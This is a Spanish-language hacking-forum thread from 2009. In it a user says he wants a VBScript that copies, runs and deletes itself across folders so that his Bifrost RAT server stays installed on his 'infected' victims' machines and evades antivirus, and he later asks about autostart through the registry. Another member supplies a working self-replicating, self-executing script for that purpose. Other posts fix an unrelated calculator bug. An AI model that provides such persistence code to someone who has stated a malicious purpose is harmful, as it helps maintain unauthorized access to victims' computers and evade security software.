Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: kdemia en 4 Septiembre 2009, 22:14 pm



Título: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 4 Septiembre 2009, 22:14 pm
ya te mando un mp y un mail, no qiero parecer pesado,
primero que nada te felicito por el tuto mui bueno,
una pregunta como hago para que un vbs se copie asi mismo durante varias carpetas
por ejemplo
set x = createobject("scripting.filesystemobject")
x.movefile ("prueba.vbs"), ("C:\")
x.movefile ("C:\prueba.vbs"), ("D:\")

algo asi pero mas largo, el tema es que cuando lo ejecuto me salta un error como que el archivo ya existe, i no me deja, la pregunta es hay alguna manera q el vbs este en movimiento continuo o por lo menos de q se mueva dos veces aunq sea..
desde ya muchas gracias


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 4 Septiembre 2009, 22:25 pm
Buenas ...

Te he separado el tema para poder responder mejor las preguntas que tengas  :P

Como es eso de que quieres mover el script opr varias carpetas?

Tu script no lo vas a poder mover, ... porque se encuentra en uso .. como cuando tenemos un archivo de word por ejemplo y no lo puedes cambiar de directorio por estar en uso, .. si podrás copiarlo .. pero no moverlo  :-\

Saludos


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 4 Septiembre 2009, 22:55 pm
claro esa era mi idea inicial, ir copiandolo ejecutandolo i borrando el anterior, pero como vi elcomando mover  me fue mas util yo lo pense eso de estar en uso, pero si se puede auto eliminar por ahi se podia mover,  pero bueno, osea mover una ves se puede lo q no se puede es mover mas de una ves, ejemplo
set x = createobject("scripting.filesystemobject")
x.movefile ("file.vbs"), ("C:\")

eso se puede lo q no se puede es cuando le agrego otro comando de mover osea q mueva el q movi, valga la redundancia, ahi me tira un error, es medio raro, pero bue.. en el caso q se pueda ir moviendo i borrando,  el algoritmo tendria algun objeto que ignore?

ya que esta te cuento porque quiero crear esto.. tenog un server de bifrost semi FUD, solo lo detectan el bitdefender, el karspersky i otro mas..que por un mal funcionamiento de estos av con el virtual pc, no me los detectan como virus, bueno .. a la mayoria de mis infectados, no abri por un dia el bifrost i me desaparecieron la mayoria de mis infectados, no tengo idea poruqe, asi que lo que qiero hacer es a mis infectados hacerles un vbs que vaya por todas las carpetas de windows, llevando consigo el server, y a su ves ir ejecutandolo, para asegurarme que siempre este instalado, a muchos se les abra ocurrido meter el servidor en la carpeta inicio, es lo que hice por el momento, pero es demasiado visible, asi que bueno si alguien sabe porq ocurrio esto del bifrost por favor conteste, y con respecot al vbs, es lo que mas me gusta
me olvide de decirles, muchos diran,- se actualizo la base de virus de  el av de tus infectados- bueno es lo q pense desde el principio, pero recuerdo que muchos tenian el av con el id i pass vencidos asi q imposible de q haya ocurrido eso.. y novirusthanx me sigue diciendo lo mismo de la indetectabilidad, aparte tengo otro infectado que tiene el mismo av q los que desaparecieron pero a este si se le actualiza..

mas resumidamente seria la consulta : como hago para hacer q un vbs se vaya moviendo, copiando o lo que sea por al menos 3 carpetas...
i otra consulta seria : un vbs puede crear i ejecutar otro vbs?

i la consulta colgada   :xD:  si alguien sabe porq me ocurrio esto con el bifrost

bueno muchas gracias a los que responden, i a los que no tambien por leer e interesarce


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 5 Septiembre 2009, 03:47 am
Lo que te ocurre es que el primer movefile te sirve, para a la segunda ya no encuentra la referencia porque lo busca en el lugar de origen  :P

Por esto es mejor utilizar copyfile para copiar en lugar de mover, mira el siguiente script como ejemplo

Código
  1. set objfso = createobject("scripting.filesystemobject")
  2. set objshell = createobject("wscript.shell")
  3. wscript.sleep 5000
  4.  
  5. OScript = wscript.scriptfullname
  6. ONameScript = wscript.scriptname
  7.  
  8. DirEjUno = "D:\"
  9. DirEjDos = "C:\"
  10.  
  11.  
  12. If oScript = DirEjDos & ONameScript then
  13. objfso.copyfile oscript, DirEjUno & ONameScript
  14. wscript.sleep 2000
  15. objshell.run DirEjUno & ONameScript
  16. Else
  17. objfso.copyfile oscript, DirEjDos & ONameScript
  18. wscript.sleep 2000
  19. objshell.run DirEjDos & ONameScript
  20. End if
  21.  
  22. Wscript.sleep 1000
  23. objfso.deletefile OScript

Ponlo en el C: o D: y fijate como alterna entre uno y otro a intervalos de 5 segundos  :P, ten en cuenta que este script se podría mejorar MUCHISIMO, pero lo he hecho rapidamente para que simplemente entiendas el concepto, además de que con el copy, queda respondido lo de si un vbs puede crear otro  ;)

Saludos


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 5 Septiembre 2009, 05:30 am
mira hago el siguiente programa que es mui parecido al tuyo solamente que lleva consigo un texto pero ya cuando lo va a mover por segunda ves me tira un error "file not found"  a ver si me podrias nuevamente ayudar o alguien.. ;D ;D

programa:

set copiar = createobject("scripting.filesystemobject")
set arrancar = createobject("wscript.shell")

nombrecompleto = wscript.scriptfullname
nombre = wscript.scriptname

c = "C:\"
d = "D:\"
texto = "texto.txt"

if nombrecompleto = c & nombre then
 copiar.copyfile nombre, d & nombre
 wscript.sleep 2000
 copiar.copyfile texto, d & texto
 wscript.sleep 2000
 arrancar.run d & nombre

else
 copiar.copyfile nombre, c & nombre
 wscript.sleep 2000
 copiar.copyfile texto, c & texto
 wscript.sleep 2000
 arrancar.run c & nombre
end if

copiar.deletefile texto
copiar.deletefile nombre


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 5 Septiembre 2009, 06:08 am
voi a compartir el programa que consegui, es un entorno para trabajar con vbs i mas pero es mui util i facilita mucho el trabajo pruebenlo

http://www.mediafire.com/download.php?cmjxwzzyzmj


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 5 Septiembre 2009, 06:25 am
Nah! eso no es un entorno, es un bloc de notas al que le han agregado un par de botones.

Prueba Vbsedit (http://www.vbsedit.com/)...

(http://img137.imageshack.us/img137/7725/vbsedit.gif) (http://img137.imageshack.us/i/vbsedit.gif/)

Saludos  ;D


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 5 Septiembre 2009, 06:32 am
a mui bueno jejej, ahora lo voi a probar la verdad nose como agradecerte todo el impetu que pones en ayudar  ;D


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 5 Septiembre 2009, 22:17 pm
Como te había dicho, he estado revisando tu script y aparentemente no tiene errores, salvo que al principio del script debes de poner una pausa, como lo había hecho en el mío, ya que de este modo cuando nuestro script ejecuta a su copia, la copia le da tiempo de terminar antes de comenzar, sino "chocan".

De cualquier manera no funciona como debe y no veo el problema >:( , igual lo voy a seguir mirando


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 6 Septiembre 2009, 00:19 am
bueno muchas gracias, ahora voi a intentar al txt moverlo en vez de copiarlo, por otro lado hice una "calculadora" i si pongo, ejemplo 1 + 1 me da 11 en vez de 2, en cambio si pongo 4 / 2 me da 2 o si resto 2 - 1 me da 1 y cuando quiero hacer una multiplicacion, no entra, aca les dejo el programa asi ven a lo que me refiero

Sub calcular (num1, operador, num2)
If operador = "+" or operador = "-" or opeardor = "*" or operador = "/" then
select case operador
case "+"
msgbox num1 + num2, 64, "Resulado"
case "-"
msgbox num1 - num2, 64, "Resulado"
case "*"
msgbox num1 * num2, 64, "Resulado"
case "/"
 msgbox num1 / num2, 64, "Resulado"
end select
else
msgbox operador & "  no es un operador", 16, "Error"
end If
End sub
Set shell = CreateObject("wscript.shell")
res = shell.Popup("Listo?", 60, "Pregunta", 36)
While res = 6
num1 = InputBox("Escriba el primer numero","Numero 1")
operador = InputBox("Escriba el operador","operador")
num2 = InputBox("Escriba el segundo numero","Numero 2")
Call calcular (num1, operador, num2)
res = shell.Popup("Queres hacer otra cuenta?", 60, "Pregunta", 36)
wend


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 6 Septiembre 2009, 00:35 am
Bueno, con respecto a tu problema de 1 + 1 = 11, copio una respuesta que he dejado en otro lado :xD

Citar
Tu problema es el siguiente:

En vbs los tipos de variables no se definen como en otros lenguajes, como ser en C o en VB, sino que los tipos se autodefinen en virtud del contenido de la variable, entonces, Inputbox devuelve un valor de tipo TEXTO, pero cuando haces las operaciones, al ver que hay un simbolo de multiplicación, división, resta, etc, vbs se da cuenta de que son números y realiza las operaciones como tal.

Que ocurre entonces con el símbolo de +?, que se utiliza para concatenar texto, al igual que &, así que vbs piensa que son texto y el resultado es el siguiente:

Ej:
Código
  1. variable1 = "primero"
  2. variable2 = "segundo"
  3. Msgbox variable1 + variable2

Es decir, variable tipo texto + variable tipo texto = Frase :)

Para que calcule correctamente debes de convertir ese texto en NÚMEROS (entero), para lo cual puedes utilizar cint (también existen otras como CBool , CByte , CCur , CDate , CDbl , CLng , CSng , CStr )

En el caso del ejemplo anterior
Código
  1. data3 = cint(data1) + cint(data2)


En lo que se refiere a tu segunda pregunta, el problema con el símbolo de multiplicar (*), tu problema es que esta mal escrito ...
Citar
If operador = "+" or operador = "-" or opeardor = "*" or operador = "/" then


Saludos


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 6 Septiembre 2009, 01:08 am
aaa muchas gracias nuevamente  ;D yo tambien soi mas distraido  :xD


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 6 Septiembre 2009, 01:18 am
Ah!, una nota, para operaciones es mejor convertir los valores a DOUBLE (CDbl), y no ENTERO, ya que el double opera con decimales, y es lo necesario en una calculadora

Saludos


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 6 Septiembre 2009, 01:41 am
okis muchas gracias, con respecto a lo de mover archivos, sigo intentando i es mui raro, probe cn en vez de copiar al .txt moverlo pero sigue sin funcionar... :huh:


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 20 Septiembre 2009, 10:32 am
ya encontre el error de poruqe no movia el error esta cuando moves el archivo txt hay q seleccionar la ruta completa dnd esta el mismo  ;D


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 20 Septiembre 2009, 19:42 pm
Ups, perdón, .. ya me había olvidado de tu problema  :-X

O sea que ya lo has solucionado?  :P


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 23 Septiembre 2009, 00:08 am
tengo una nueva duda Novlucker ya que sos el mas experimentado y veterano por asi decirlo, en el tema.. como seria el codigo, ya que no logro entender la parte de registros, para agregar un script en el registro para uqe inicie con windows


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 23 Septiembre 2009, 00:13 am
a no habia visto Novlucker no me habia percatado que existian dos paginas, si ya lo habia solucionado el tema es que el txt no poniamos la direccion completa si queres despes te pasoel codigo


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: Novlucker en 23 Septiembre 2009, 00:14 am
Mejor entonces que lo hayas solucionado

http://foro.elhacker.net/scripting/resuelto_another_duda_vbs_agregando_cosas_al_registro-t267462.0.html

Saludos


Título: Re: Copiar el script en varias carpetas [vbscript]
Publicado por: kdemia en 23 Septiembre 2009, 00:27 am
 a muchas gracias, la verdad muy util, sos un capo men jaja me salio del alma